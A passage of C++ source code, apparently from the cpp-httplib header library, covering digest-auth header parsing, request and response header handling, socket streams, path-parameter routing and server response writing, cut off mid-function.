nonce=\\\"\" + auth.at(\"nonce\") +\n               \"\\\", uri=\\\"\" + req.path + \"\\\", algorithm=\" + algo +\n               (qop.empty() ? \", response=\\\"\"\n                            : \", qop=\" + qop + \", nc=\" + nc + \", cnonce=\\\"\" +\n                                  cnonce + \"\\\", response=\\\"\") +\n               response + \"\\\"\" +\n               (opaque.empty() ? \"\" : \", opaque=\\\"\" + opaque + \"\\\"\");\n\n  auto key = is_proxy ? \"Proxy-Authorization\" : \"Authorization\";\n  return std::make_pair(key, field);\n}\n#endif\n\ninline bool parse_www_authenticate(const Response &res,\n                                   std::map<std::string, std::string> &auth,\n                                   bool is_proxy) {\n  auto auth_key = is_proxy ? \"Proxy-Authenticate\" : \"WWW-Authenticate\";\n  if (res.has_header(auth_key)) {\n    static auto re = std::regex(R\"~((?:(?:,\\s*)?(.+?)=(?:\"(.*?)\"|([^,]*))))~\");\n    auto s = res.get_header_value(auth_key);\n    auto pos = s.find(' ');\n    if (pos != std::string::npos) {\n      auto type = s.substr(0, pos);\n      if (type == \"Basic\") {\n        return false;\n      } else if (type == \"Digest\") {\n        s = s.substr(pos + 1);\n        auto beg = std::sregex_iterator(s.begin(), s.end(), re);\n        for (auto i = beg; i != std::sregex_iterator(); ++i) {\n          const auto &m = *i;\n          auto key = s.substr(static_cast<size_t>(m.position(1)),\n                              static_cast<size_t>(m.length(1)));\n          auto val = m.length(2) > 0\n                         ? s.substr(static_cast<size_t>(m.position(2)),\n                                    static_cast<size_t>(m.length(2)))\n                         : s.substr(static_cast<size_t>(m.position(3)),\n                                    static_cast<size_t>(m.length(3)));\n          auth[key] = val;\n        }\n        return true;\n      }\n    }\n  }\n  return false;\n}\n\nclass ContentProviderAdapter {\npublic:\n  explicit ContentProviderAdapter(\n      ContentProviderWithoutLength &&content_provider)\n      : content_provider_(content_provider) {}\n\n  bool operator()(size_t offset, size_t, DataSink &sink) {\n    return content_provider_(offset, sink);\n  }\n\nprivate:\n  ContentProviderWithoutLength content_provider_;\n};\n\n} // namespace detail\n\ninline std::string hosted_at(const std::string &hostname) {\n  std::vector<std::string> addrs;\n  hosted_at(hostname, addrs);\n  if (addrs.empty()) { return std::string(); }\n  return addrs[0];\n}\n\ninline void hosted_at(const std::string &hostname,\n                      std::vector<std::string> &addrs) {\n  struct addrinfo hints;\n  struct addrinfo *result;\n\n  memset(&hints, 0, sizeof(struct addrinfo));\n  hints.ai_family = AF_UNSPEC;\n  hints.ai_socktype = SOCK_STREAM;\n  hints.ai_protocol = 0;\n\n  if (getaddrinfo(hostname.c_str(), nullptr, &hints, &result)) {\n#if defined __linux__ && !defined __ANDROID__\n    res_init();\n#endif\n    return;\n  }\n\n  for (auto rp = result; rp; rp = rp->ai_next) {\n    const auto &addr =\n        *reinterpret_cast<struct sockaddr_storage *>(rp->ai_addr);\n    std::string ip;\n    auto dummy = -1;\n    if (detail::get_ip_and_port(addr, sizeof(struct sockaddr_storage), ip,\n                                dummy)) {\n      addrs.push_back(ip);\n    }\n  }\n\n  freeaddrinfo(result);\n}\n\ninline std::string append_query_params(const std::string &path,\n                                       const Params &params) {\n  std::string path_with_query = path;\n  const static std::regex re(\"[^?]+\\\\?.*\");\n  auto delm = std::regex_match(path, re) ? '&' : '?';\n  path_with_query += delm + detail::params_to_query_str(params);\n  return path_with_query;\n}\n\n// Header utilities\ninline std::pair<std::string, std::string>\nmake_range_header(const Ranges &ranges) {\n  std::string field = \"bytes=\";\n  auto i = 0;\n  for (const auto &r : ranges) {\n    if (i != 0) { field += \", \"; }\n    if (r.first != -1) { field += std::to_string(r.first); }\n    field += '-';\n    if (r.second != -1) { field += std::to_string(r.second); }\n    i++;\n  }\n  return std::make_pair(\"Range\", std::move(field));\n}\n\ninline std::pair<std::string, std::string>\nmake_basic_authentication_header(const std::string &username,\n                                 const std::string &password, bool is_proxy) {\n  auto field = \"Basic \" + detail::base64_encode(username + \":\" + password);\n  auto key = is_proxy ? \"Proxy-Authorization\" : \"Authorization\";\n  return std::make_pair(key, std::move(field));\n}\n\ninline std::pair<std::string, std::string>\nmake_bearer_token_authentication_header(const std::string &token,\n                                        bool is_proxy = false) {\n  auto field = \"Bearer \" + token;\n  auto key = is_proxy ? \"Proxy-Authorization\" : \"Authorization\";\n  return std::make_pair(key, std::move(field));\n}\n\n// Request implementation\ninline bool Request::has_header(const std::string &key) const {\n  return detail::has_header(headers, key);\n}\n\ninline std::string Request::get_header_value(const std::string &key,\n                                             size_t id) const {\n  return detail::get_header_value(headers, key, id, \"\");\n}\n\ninline size_t Request::get_header_value_count(const std::string &key) const {\n  auto r = headers.equal_range(key);\n  return static_cast<size_t>(std::distance(r.first, r.second));\n}\n\ninline void Request::set_header(const std::string &key,\n                                const std::string &val) {\n  if (!detail::has_crlf(key) && !detail::has_crlf(val)) {\n    headers.emplace(key, val);\n  }\n}\n\ninline bool Request::has_param(const std::string &key) const {\n  return params.find(key) != params.end();\n}\n\ninline std::string Request::get_param_value(const std::string &key,\n                                            size_t id) const {\n  auto rng = params.equal_range(key);\n  auto it = rng.first;\n  std::advance(it, static_cast<ssize_t>(id));\n  if (it != rng.second) { return it->second; }\n  return std::string();\n}\n\ninline size_t Request::get_param_value_count(const std::string &key) const {\n  auto r = params.equal_range(key);\n  return static_cast<size_t>(std::distance(r.first, r.second));\n}\n\ninline bool Request::is_multipart_form_data() const {\n  const auto &content_type = get_header_value(\"Content-Type\");\n  return !content_type.rfind(\"multipart/form-data\", 0);\n}\n\ninline bool Request::has_file(const std::string &key) const {\n  return files.find(key) != files.end();\n}\n\ninline MultipartFormData Request::get_file_value(const std::string &key) const {\n  auto it = files.find(key);\n  if (it != files.end()) { return it->second; }\n  return MultipartFormData();\n}\n\ninline std::vector<MultipartFormData>\nRequest::get_file_values(const std::string &key) const {\n  std::vector<MultipartFormData> values;\n  auto rng = files.equal_range(key);\n  for (auto it = rng.first; it != rng.second; it++) {\n    values.push_back(it->second);\n  }\n  return values;\n}\n\n// Response implementation\ninline bool Response::has_header(const std::string &key) const {\n  return headers.find(key) != headers.end();\n}\n\ninline std::string Response::get_header_value(const std::string &key,\n                                              size_t id) const {\n  return detail::get_header_value(headers, key, id, \"\");\n}\n\ninline size_t Response::get_header_value_count(const std::string &key) const {\n  auto r = headers.equal_range(key);\n  return static_cast<size_t>(std::distance(r.first, r.second));\n}\n\ninline void Response::set_header(const std::string &key,\n                                 const std::string &val) {\n  if (!detail::has_crlf(key) && !detail::has_crlf(val)) {\n    headers.emplace(key, val);\n  }\n}\n\ninline void Response::set_redirect(const std::string &url, int stat) {\n  if (!detail::has_crlf(url)) {\n    set_header(\"Location\", url);\n    if (300 <= stat && stat < 400) {\n      this->status = stat;\n    } else {\n      this->status = StatusCode::Found_302;\n    }\n  }\n}\n\ninline void Response::set_content(const char *s, size_t n,\n                                  const std::string &content_type) {\n  body.assign(s, n);\n\n  auto rng = headers.equal_range(\"Content-Type\");\n  headers.erase(rng.first, rng.second);\n  set_header(\"Content-Type\", content_type);\n}\n\ninline void Response::set_content(const std::string &s,\n                                  const std::string &content_type) {\n  set_content(s.data(), s.size(), content_type);\n}\n\ninline void Response::set_content(std::string &&s,\n                                  const std::string &content_type) {\n  body = std::move(s);\n\n  auto rng = headers.equal_range(\"Content-Type\");\n  headers.erase(rng.first, rng.second);\n  set_header(\"Content-Type\", content_type);\n}\n\ninline void Response::set_content_provider(\n    size_t in_length, const std::string &content_type, ContentProvider provider,\n    ContentProviderResourceReleaser resource_releaser) {\n  set_header(\"Content-Type\", content_type);\n  content_length_ = in_length;\n  if (in_length > 0) { content_provider_ = std::move(provider); }\n  content_provider_resource_releaser_ = std::move(resource_releaser);\n  is_chunked_content_provider_ = false;\n}\n\ninline void Response::set_content_provider(\n    const std::string &content_type, ContentProviderWithoutLength provider,\n    ContentProviderResourceReleaser resource_releaser) {\n  set_header(\"Content-Type\", content_type);\n  content_length_ = 0;\n  content_provider_ = detail::ContentProviderAdapter(std::move(provider));\n  content_provider_resource_releaser_ = std::move(resource_releaser);\n  is_chunked_content_provider_ = false;\n}\n\ninline void Response::set_chunked_content_provider(\n    const std::string &content_type, ContentProviderWithoutLength provider,\n    ContentProviderResourceReleaser resource_releaser) {\n  set_header(\"Content-Type\", content_type);\n  content_length_ = 0;\n  content_provider_ = detail::ContentProviderAdapter(std::move(provider));\n  content_provider_resource_releaser_ = std::move(resource_releaser);\n  is_chunked_content_provider_ = true;\n}\n\n// Result implementation\ninline bool Result::has_request_header(const std::string &key) const {\n  return request_headers_.find(key) != request_headers_.end();\n}\n\ninline std::string Result::get_request_header_value(const std::string &key,\n                                                    size_t id) const {\n  return detail::get_header_value(request_headers_, key, id, \"\");\n}\n\ninline size_t\nResult::get_request_header_value_count(const std::string &key) const {\n  auto r = request_headers_.equal_range(key);\n  return static_cast<size_t>(std::distance(r.first, r.second));\n}\n\n// Stream implementation\ninline ssize_t Stream::write(const char *ptr) {\n  return write(ptr, strlen(ptr));\n}\n\ninline ssize_t Stream::write(const std::string &s) {\n  return write(s.data(), s.size());\n}\n\nnamespace detail {\n\n// Socket stream implementation\ninline SocketStream::SocketStream(socket_t sock, time_t read_timeout_sec,\n                                  time_t read_timeout_usec,\n                                  time_t write_timeout_sec,\n                                  time_t write_timeout_usec)\n    : sock_(sock), read_timeout_sec_(read_timeout_sec),\n      read_timeout_usec_(read_timeout_usec),\n      write_timeout_sec_(write_timeout_sec),\n      write_timeout_usec_(write_timeout_usec), read_buff_(read_buff_size_, 0) {}\n\ninline SocketStream::~SocketStream() = default;\n\ninline bool SocketStream::is_readable() const {\n  return select_read(sock_, read_timeout_sec_, read_timeout_usec_) > 0;\n}\n\ninline bool SocketStream::is_writable() const {\n  return select_write(sock_, write_timeout_sec_, write_timeout_usec_) > 0 &&\n         is_socket_alive(sock_);\n}\n\ninline ssize_t SocketStream::read(char *ptr, size_t size) {\n#ifdef _WIN32\n  size =\n      (std::min)(size, static_cast<size_t>((std::numeric_limits<int>::max)()));\n#else\n  size = (std::min)(size,\n                    static_cast<size_t>((std::numeric_limits<ssize_t>::max)()));\n#endif\n\n  if (read_buff_off_ < read_buff_content_size_) {\n    auto remaining_size = read_buff_content_size_ - read_buff_off_;\n    if (size <= remaining_size) {\n      memcpy(ptr, read_buff_.data() + read_buff_off_, size);\n      read_buff_off_ += size;\n      return static_cast<ssize_t>(size);\n    } else {\n      memcpy(ptr, read_buff_.data() + read_buff_off_, remaining_size);\n      read_buff_off_ += remaining_size;\n      return static_cast<ssize_t>(remaining_size);\n    }\n  }\n\n  if (!is_readable()) { return -1; }\n\n  read_buff_off_ = 0;\n  read_buff_content_size_ = 0;\n\n  if (size < read_buff_size_) {\n    auto n = read_socket(sock_, read_buff_.data(), read_buff_size_,\n                         CPPHTTPLIB_RECV_FLAGS);\n    if (n <= 0) {\n      return n;\n    } else if (n <= static_cast<ssize_t>(size)) {\n      memcpy(ptr, read_buff_.data(), static_cast<size_t>(n));\n      return n;\n    } else {\n      memcpy(ptr, read_buff_.data(), size);\n      read_buff_off_ = size;\n      read_buff_content_size_ = static_cast<size_t>(n);\n      return static_cast<ssize_t>(size);\n    }\n  } else {\n    return read_socket(sock_, ptr, size, CPPHTTPLIB_RECV_FLAGS);\n  }\n}\n\ninline ssize_t SocketStream::write(const char *ptr, size_t size) {\n  if (!is_writable()) { return -1; }\n\n#if defined(_WIN32) && !defined(_WIN64)\n  size =\n      (std::min)(size, static_cast<size_t>((std::numeric_limits<int>::max)()));\n#endif\n\n  return send_socket(sock_, ptr, size, CPPHTTPLIB_SEND_FLAGS);\n}\n\ninline void SocketStream::get_remote_ip_and_port(std::string &ip,\n                                                 int &port) const {\n  return detail::get_remote_ip_and_port(sock_, ip, port);\n}\n\ninline void SocketStream::get_local_ip_and_port(std::string &ip,\n                                                int &port) const {\n  return detail::get_local_ip_and_port(sock_, ip, port);\n}\n\ninline socket_t SocketStream::socket() const { return sock_; }\n\n// Buffer stream implementation\ninline bool BufferStream::is_readable() const { return true; }\n\ninline bool BufferStream::is_writable() const { return true; }\n\ninline ssize_t BufferStream::read(char *ptr, size_t size) {\n#if defined(_MSC_VER) && _MSC_VER < 1910\n  auto len_read = buffer._Copy_s(ptr, size, size, position);\n#else\n  auto len_read = buffer.copy(ptr, size, position);\n#endif\n  position += static_cast<size_t>(len_read);\n  return static_cast<ssize_t>(len_read);\n}\n\ninline ssize_t BufferStream::write(const char *ptr, size_t size) {\n  buffer.append(ptr, size);\n  return static_cast<ssize_t>(size);\n}\n\ninline void BufferStream::get_remote_ip_and_port(std::string & /*ip*/,\n                                                 int & /*port*/) const {}\n\ninline void BufferStream::get_local_ip_and_port(std::string & /*ip*/,\n                                                int & /*port*/) const {}\n\ninline socket_t BufferStream::socket() const { return 0; }\n\ninline const std::string &BufferStream::get_buffer() const { return buffer; }\n\ninline PathParamsMatcher::PathParamsMatcher(const std::string &pattern) {\n  // One past the last ending position of a path param substring\n  std::size_t last_param_end = 0;\n\n#ifndef CPPHTTPLIB_NO_EXCEPTIONS\n  // Needed to ensure that parameter names are unique during matcher\n  // construction\n  // If exceptions are disabled, only last duplicate path\n  // parameter will be set\n  std::unordered_set<std::string> param_name_set;\n#endif\n\n  while (true) {\n    const auto marker_pos = pattern.find(marker, last_param_end);\n    if (marker_pos == std::string::npos) { break; }\n\n    static_fragments_.push_back(\n        pattern.substr(last_param_end, marker_pos - last_param_end));\n\n    const auto param_name_start = marker_pos + 1;\n\n    auto sep_pos = pattern.find(separator, param_name_start);\n    if (sep_pos == std::string::npos) { sep_pos = pattern.length(); }\n\n    auto param_name =\n        pattern.substr(param_name_start, sep_pos - param_name_start);\n\n#ifndef CPPHTTPLIB_NO_EXCEPTIONS\n    if (param_name_set.find(param_name) != param_name_set.cend()) {\n      std::string msg = \"Encountered path parameter '\" + param_name +\n                        \"' multiple times in route pattern '\" + pattern + \"'.\";\n      throw std::invalid_argument(msg);\n    }\n#endif\n\n    param_names_.push_back(std::move(param_name));\n\n    last_param_end = sep_pos + 1;\n  }\n\n  if (last_param_end < pattern.length()) {\n    static_fragments_.push_back(pattern.substr(last_param_end));\n  }\n}\n\ninline bool PathParamsMatcher::match(Request &request) const {\n  request.matches = std::smatch();\n  request.path_params.clear();\n  request.path_params.reserve(param_names_.size());\n\n  // One past the position at which the path matched the pattern last time\n  std::size_t starting_pos = 0;\n  for (size_t i = 0; i < static_fragments_.size(); ++i) {\n    const auto &fragment = static_fragments_[i];\n\n    if (starting_pos + fragment.length() > request.path.length()) {\n      return false;\n    }\n\n    // Avoid unnecessary allocation by using strncmp instead of substr +\n    // comparison\n    if (std::strncmp(request.path.c_str() + starting_pos, fragment.c_str(),\n                     fragment.length()) != 0) {\n      return false;\n    }\n\n    starting_pos += fragment.length();\n\n    // Should only happen when we have a static fragment after a param\n    // Example: '/users/:id/subscriptions'\n    // The 'subscriptions' fragment here does not have a corresponding param\n    if (i >= param_names_.size()) { continue; }\n\n    auto sep_pos = request.path.find(separator, starting_pos);\n    if (sep_pos == std::string::npos) { sep_pos = request.path.length(); }\n\n    const auto &param_name = param_names_[i];\n\n    request.path_params.emplace(\n        param_name, request.path.substr(starting_pos, sep_pos - starting_pos));\n\n    // Mark everythin up to '/' as matched\n    starting_pos = sep_pos + 1;\n  }\n  // Returns false if the path is longer than the pattern\n  return starting_pos >= request.path.length();\n}\n\ninline bool RegexMatcher::match(Request &request) const {\n  request.path_params.clear();\n  return std::regex_match(request.path, request.matches, regex_);\n}\n\n} // namespace detail\n\n// HTTP server implementation\ninline Server::Server()\n    : new_task_queue(\n          [] { return new ThreadPool(CPPHTTPLIB_THREAD_POOL_COUNT); }) {\n#ifndef _WIN32\n  signal(SIGPIPE, SIG_IGN);\n#endif\n}\n\ninline Server::~Server() = default;\n\ninline std::unique_ptr<detail::MatcherBase>\nServer::make_matcher(const std::string &pattern) {\n  if (pattern.find(\"/:\") != std::string::npos) {\n    return detail::make_unique<detail::PathParamsMatcher>(pattern);\n  } else {\n    return detail::make_unique<detail::RegexMatcher>(pattern);\n  }\n}\n\ninline Server &Server::Get(const std::string &pattern, Handler handler) {\n  get_handlers_.emplace_back(make_matcher(pattern), std::move(handler));\n  return *this;\n}\n\ninline Server &Server::Post(const std::string &pattern, Handler handler) {\n  post_handlers_.emplace_back(make_matcher(pattern), std::move(handler));\n  return *this;\n}\n\ninline Server &Server::Post(const std::string &pattern,\n                            HandlerWithContentReader handler) {\n  post_handlers_for_content_reader_.emplace_back(make_matcher(pattern),\n                                                 std::move(handler));\n  return *this;\n}\n\ninline Server &Server::Put(const std::string &pattern, Handler handler) {\n  put_handlers_.emplace_back(make_matcher(pattern), std::move(handler));\n  return *this;\n}\n\ninline Server &Server::Put(const std::string &pattern,\n                           HandlerWithContentReader handler) {\n  put_handlers_for_content_reader_.emplace_back(make_matcher(pattern),\n                                                std::move(handler));\n  return *this;\n}\n\ninline Server &Server::Patch(const std::string &pattern, Handler handler) {\n  patch_handlers_.emplace_back(make_matcher(pattern), std::move(handler));\n  return *this;\n}\n\ninline Server &Server::Patch(const std::string &pattern,\n                             HandlerWithContentReader handler) {\n  patch_handlers_for_content_reader_.emplace_back(make_matcher(pattern),\n                                                  std::move(handler));\n  return *this;\n}\n\ninline Server &Server::Delete(const std::string &pattern, Handler handler) {\n  delete_handlers_.emplace_back(make_matcher(pattern), std::move(handler));\n  return *this;\n}\n\ninline Server &Server::Delete(const std::string &pattern,\n                              HandlerWithContentReader handler) {\n  delete_handlers_for_content_reader_.emplace_back(make_matcher(pattern),\n                                                   std::move(handler));\n  return *this;\n}\n\ninline Server &Server::Options(const std::string &pattern, Handler handler) {\n  options_handlers_.emplace_back(make_matcher(pattern), std::move(handler));\n  return *this;\n}\n\ninline bool Server::set_base_dir(const std::string &dir,\n                                 const std::string &mount_point) {\n  return set_mount_point(mount_point, dir);\n}\n\ninline bool Server::set_mount_point(const std::string &mount_point,\n                                    const std::string &dir, Headers headers) {\n  if (detail::is_dir(dir)) {\n    std::string mnt = !mount_point.empty() ? mount_point : \"/\";\n    if (!mnt.empty() && mnt[0] == '/') {\n      base_dirs_.push_back({mnt, dir, std::move(headers)});\n      return true;\n    }\n  }\n  return false;\n}\n\ninline bool Server::remove_mount_point(const std::string &mount_point) {\n  for (auto it = base_dirs_.begin(); it != base_dirs_.end(); ++it) {\n    if (it->mount_point == mount_point) {\n      base_dirs_.erase(it);\n      return true;\n    }\n  }\n  return false;\n}\n\ninline Server &\nServer::set_file_extension_and_mimetype_mapping(const std::string &ext,\n                                                const std::string &mime) {\n  file_extension_and_mimetype_map_[ext] = mime;\n  return *this;\n}\n\ninline Server &Server::set_default_file_mimetype(const std::string &mime) {\n  default_file_mimetype_ = mime;\n  return *this;\n}\n\ninline Server &Server::set_file_request_handler(Handler handler) {\n  file_request_handler_ = std::move(handler);\n  return *this;\n}\n\ninline Server &Server::set_error_handler_core(HandlerWithResponse handler,\n                                              std::true_type) {\n  error_handler_ = std::move(handler);\n  return *this;\n}\n\ninline Server &Server::set_error_handler_core(Handler handler,\n                                              std::false_type) {\n  error_handler_ = [handler](const Request &req, Response &res) {\n    handler(req, res);\n    return HandlerResponse::Handled;\n  };\n  return *this;\n}\n\ninline Server &Server::set_exception_handler(ExceptionHandler handler) {\n  exception_handler_ = std::move(handler);\n  return *this;\n}\n\ninline Server &Server::set_pre_routing_handler(HandlerWithResponse handler) {\n  pre_routing_handler_ = std::move(handler);\n  return *this;\n}\n\ninline Server &Server::set_post_routing_handler(Handler handler) {\n  post_routing_handler_ = std::move(handler);\n  return *this;\n}\n\ninline Server &Server::set_logger(Logger logger) {\n  logger_ = std::move(logger);\n  return *this;\n}\n\ninline Server &\nServer::set_expect_100_continue_handler(Expect100ContinueHandler handler) {\n  expect_100_continue_handler_ = std::move(handler);\n  return *this;\n}\n\ninline Server &Server::set_address_family(int family) {\n  address_family_ = family;\n  return *this;\n}\n\ninline Server &Server::set_tcp_nodelay(bool on) {\n  tcp_nodelay_ = on;\n  return *this;\n}\n\ninline Server &Server::set_socket_options(SocketOptions socket_options) {\n  socket_options_ = std::move(socket_options);\n  return *this;\n}\n\ninline Server &Server::set_default_headers(Headers headers) {\n  default_headers_ = std::move(headers);\n  return *this;\n}\n\ninline Server &Server::set_header_writer(\n    std::function<ssize_t(Stream &, Headers &)> const &writer) {\n  header_writer_ = writer;\n  return *this;\n}\n\ninline Server &Server::set_keep_alive_max_count(size_t count) {\n  keep_alive_max_count_ = count;\n  return *this;\n}\n\ninline Server &Server::set_keep_alive_timeout(time_t sec) {\n  keep_alive_timeout_sec_ = sec;\n  return *this;\n}\n\ninline Server &Server::set_read_timeout(time_t sec, time_t usec) {\n  read_timeout_sec_ = sec;\n  read_timeout_usec_ = usec;\n  return *this;\n}\n\ninline Server &Server::set_write_timeout(time_t sec, time_t usec) {\n  write_timeout_sec_ = sec;\n  write_timeout_usec_ = usec;\n  return *this;\n}\n\ninline Server &Server::set_idle_interval(time_t sec, time_t usec) {\n  idle_interval_sec_ = sec;\n  idle_interval_usec_ = usec;\n  return *this;\n}\n\ninline Server &Server::set_payload_max_length(size_t length) {\n  payload_max_length_ = length;\n  return *this;\n}\n\ninline bool Server::bind_to_port(const std::string &host, int port,\n                                 int socket_flags) {\n  return bind_internal(host, port, socket_flags) >= 0;\n}\ninline int Server::bind_to_any_port(const std::string &host, int socket_flags) {\n  return bind_internal(host, 0, socket_flags);\n}\n\ninline bool Server::listen_after_bind() {\n  auto se = detail::scope_exit([&]() { done_ = true; });\n  return listen_internal();\n}\n\ninline bool Server::listen(const std::string &host, int port,\n                           int socket_flags) {\n  auto se = detail::scope_exit([&]() { done_ = true; });\n  return bind_to_port(host, port, socket_flags) && listen_internal();\n}\n\ninline bool Server::is_running() const { return is_running_; }\n\ninline void Server::wait_until_ready() const {\n  while (!is_running() && !done_) {\n    std::this_thread::sleep_for(std::chrono::milliseconds{1});\n  }\n}\n\ninline void Server::stop() {\n  if (is_running_) {\n    assert(svr_sock_ != INVALID_SOCKET);\n    std::atomic<socket_t> sock(svr_sock_.exchange(INVALID_SOCKET));\n    detail::shutdown_socket(sock);\n    detail::close_socket(sock);\n  }\n}\n\ninline bool Server::parse_request_line(const char *s, Request &req) const {\n  auto len = strlen(s);\n  if (len < 2 || s[len - 2] != '\\r' || s[len - 1] != '\\n') { return false; }\n  len -= 2;\n\n  {\n    size_t count = 0;\n\n    detail::split(s, s + len, ' ', [&](const char *b, const char *e) {\n      switch (count) {\n      case 0: req.method = std::string(b, e); break;\n      case 1: req.target = std::string(b, e); break;\n      case 2: req.version = std::string(b, e); break;\n      default: break;\n      }\n      count++;\n    });\n\n    if (count != 3) { return false; }\n  }\n\n  static const std::set<std::string> methods{\n      \"GET\",     \"HEAD\",    \"POST\",  \"PUT\",   \"DELETE\",\n      \"CONNECT\", \"OPTIONS\", \"TRACE\", \"PATCH\", \"PRI\"};\n\n  if (methods.find(req.method) == methods.end()) { return false; }\n\n  if (req.version != \"HTTP/1.1\" && req.version != \"HTTP/1.0\") { return false; }\n\n  {\n    // Skip URL fragment\n    for (size_t i = 0; i < req.target.size(); i++) {\n      if (req.target[i] == '#') {\n        req.target.erase(i);\n        break;\n      }\n    }\n\n    detail::divide(req.target, '?',\n                   [&](const char *lhs_data, std::size_t lhs_size,\n                       const char *rhs_data, std::size_t rhs_size) {\n                     req.path = detail::decode_url(\n                         std::string(lhs_data, lhs_size), false);\n                     detail::parse_query_text(rhs_data, rhs_size, req.params);\n                   });\n  }\n\n  return true;\n}\n\ninline bool Server::write_response(Stream &strm, bool close_connection,\n                                   Request &req, Response &res) {\n  // NOTE: `req.ranges` should be empty, otherwise it will be applied\n  // incorrectly to the error content.\n  req.ranges.clear();\n  return write_response_core(strm, close_connection, req, res, false);\n}\n\ninline bool Server::write_response_with_content(Stream &strm,\n                                                bool close_connection,\n                                                const Request &req,\n                                                Response &res) {\n  return write_response_core(strm, close_connection, req, res, true);\n}\n\ninline bool Server::write_response_core(Stream &strm, bool close_connection,\n                                        const Request &req, Response &res,\n                                        bool need_apply_ranges) {\n  assert(res.status != -1);\n\n  if (400 <= res.status && error_handler_ &&\n      error_handler_(req, res) == HandlerResponse::Handled) {\n    need_apply_ranges = true;\n  }\n\n  std::string content_type;\n  std::string boundary;\n  if (need_apply_ranges) { apply_ranges(req, res, content_type, boundary); }\n\n  // Prepare additional headers\n  if (close_connection || req.get_header_value(\"Connection\") == \"close\") {\n    res.set_header(\"Connection\", \"close\");\n  } else {\n    std::stringstream ss;\n    ss << \"timeout=\" << keep_alive_timeout_sec_\n       << \", max=\" << keep_alive_max_count_;\n    res.set_header(\"Keep-Alive\", ss.str());\n  }\n\n  if (!res.has_header(\"Content-Type\") &&\n      (!res.body.empty() || res.content_length_ > 0 || res.content_provider_)) {\n    res.set_header(\"Content-Type\", \"text/plain\");\n  }\n\n  if (!res.has_header(\"Content-Length\") && res.body.empty() &&\n      !res.content_length_ && !res.content_provider_) {\n    res.set_header(\"Content-Length\", \"0\");\n  }\n\n  if (!res.has_header(\"Accept-Ranges\") && req.method == \"HEAD\") {\n    res.set_header(\"Accept-Ranges\", \"bytes\");\n  }\n\n  if (post_routing_handler_) { post_routing_handler_(req, res); }\n\n  // Response line and headers\n  {\n    detail::BufferStream bstrm;\n\n    if (!bstrm.write_format(\"HTTP/1.1 %d %s\\r\\n\", res.status,\n                            status_message(res.status))) {\n      return false;\n    }\n\n    if (!header_writer_(bstrm, res.headers)) { return false; }\n\n    // Flush buffer\n    auto &data = bstrm.get_buffer();\n    detail::write_data(strm, data.data(), data.size());\n  }\n\n  // Body\n  auto ret = true;\n  if (req.method != \"HEAD\") {\n    if (!res.body.empty()) {\n      if (!detail::write_data(strm, res.body.data(), res.body.size())) {\n        ret = false;\n      }\n    } else if (res.content_provider_) {\n      if (write_content_with_provider(strm, req, res, boundary, content_type)) {\n        res.content_provider_success_ = true;\n      } else {\n        ret = false;\n      }\n    }\n  }\n\n  // Log\n  if (logger_) { logger_(req, res); }\n\n  return ret;\n}\n\ninline bool\nServer::write_content_with_provider(Stream &strm, const Request &req,\n                                    Response &res, const std::string &boundary,\n                                    const std::string &content_type) {\n  auto is_shutting_down = [this]() {\n    return this->svr_sock_ == INVALID_SOCKET;\n  };\n\n  if (res.content_length_ > 0) {\n    if (req.ranges.empty()) {\n      return detail::write_content(strm, res.content_provider_, 0,\n                                   res.content_length_, is_shutting_down);\n    } else if (req.ranges.size() == 1) {\n      auto offset_and_length = detail::get_range_offset_and_length(\n          req.ranges[0], res.content_length_);\n\n      return detail::write_content(strm, res.content_provider_,\n                                   offset_and_length.first,\n                                   offset_and_length.second, is_shutting_down);\n    } else {\n      return detail::write_multipart_ranges_data(\n          strm, req, res, boundary, content_type, res.content_length_,\n          is_shutting_down);\n    }\n  } else {\n    if (res.is_chunked_content_provider_) {\n      auto type = detail::encoding_type(req, res);\n\n      std::unique_ptr<detail::compressor> compressor;\n      if (type == detail::EncodingType::Gzip) {\n#ifdef CPPHTTPLIB_ZLIB_SUPPORT\n        compressor = detail::make_unique<detail::gzip_compressor>();\n#endif\n      } else if (type == detail::EncodingType::Brotli) {\n#ifdef CPPHTTPLIB_BROTLI_SUPPORT\n        compressor = detail::make_unique<detail::brotli_compressor>();\n#endif\n      } else {\n        compressor = detail::make_unique<detail::nocompressor>();\n      }\n      assert(compressor != nullptr);\n\n      return detail::write_content_chunked(strm, res.content_provider_,\n                                           is_shutting_down, *compressor);\n    } else {\n      return detail::write_content_without_length(strm, res.content_provider_,\n                                                  is_shutting_down);\n    }\n  }\n}\n\ninline bool Server::read_content(Stream &strm, Request &req, Response &res) {\n  MultipartFormDataMap::iterator cur;\n  auto file_count = 0;\n  if (read_content_core(\n          strm, req, res,\n          // Regular\n          [&](const char *buf, size_t n) {\n            if (req.body.size() + n > req.body.max_size()) { return false; }\n            req.body.append(buf, n);\n            return true;\n          },\n          // Multipart\n          [&](const MultipartFormData &file) {\n            if (file_count++ == CPPHTTPLIB_MULTIPART_FORM_DATA_FILE_MAX_COUNT) {\n              return false;\n            }\n            cur = req.files.emplace(file.name, file);\n            return true;\n          },\n          [&](const char *buf, size_t n) {\n            auto &content = cur->second.content;\n            if (content.size() + n > content.max_size()) { return false; }\n            content.append(buf, n);\n            return true;\n          })) {\n    const auto &content_type = req.get_header_value(\"Content-Type\");\n    if (!content_type.find(\"application/x-www-form-urlencoded\")) {\n      if (req.body.size() > CPPHTTPLIB_FORM_URL_ENCODED_PAYLOAD_MAX_LENGTH) {\n        res.status = StatusCode::PayloadTooLarge_413; // NOTE: should be 414?\n        return false;\n      }\n      detail::parse_query_text(req.body, req.params);\n    }\n    return true;\n  }\n  return false;\n}\n\ninline bool Server::read_content_with_content_receiver(\n    Stream &strm, Request &req, Response &res, ContentReceiver receiver,\n    MultipartContentHeader multipart_header,\n    ContentReceiver multipart_receiver) {\n  return read_content_core(strm, req, res, std::move(receiver),\n                           std::move(multipart_header),\n                           std::move(multipart_receiver));\n}\n\ninline bool\nServer::read_content_core(Stream &strm, Request &req, Response &res,\n                          ContentReceiver receiver,\n                          MultipartContentHeader multipart_header,\n                          ContentReceiver multipart_receiver) const {\n  detail::MultipartFormDataParser multipart_form_data_parser;\n  ContentReceiverWithProgress out;\n\n  if (req.is_multipart_form_data()) {\n    const auto &content_type = req.get_header_value(\"Content-Type\");\n    std::string boundary;\n    if (!detail::parse_multipart_boundary(content_type, boundary)) {\n      res.status = StatusCode::BadRequest_400;\n      return false;\n    }\n\n    multipart_form_data_parser.set_boundary(std::move(boundary));\n    out = [&](const char *buf, size_t n, uint64_t /*off*/, uint64_t /*len*/) {\n      /* For debug\n      size_t pos = 0;\n      while (pos < n) {\n        auto read_size = (std::min)<size_t>(1, n - pos);\n     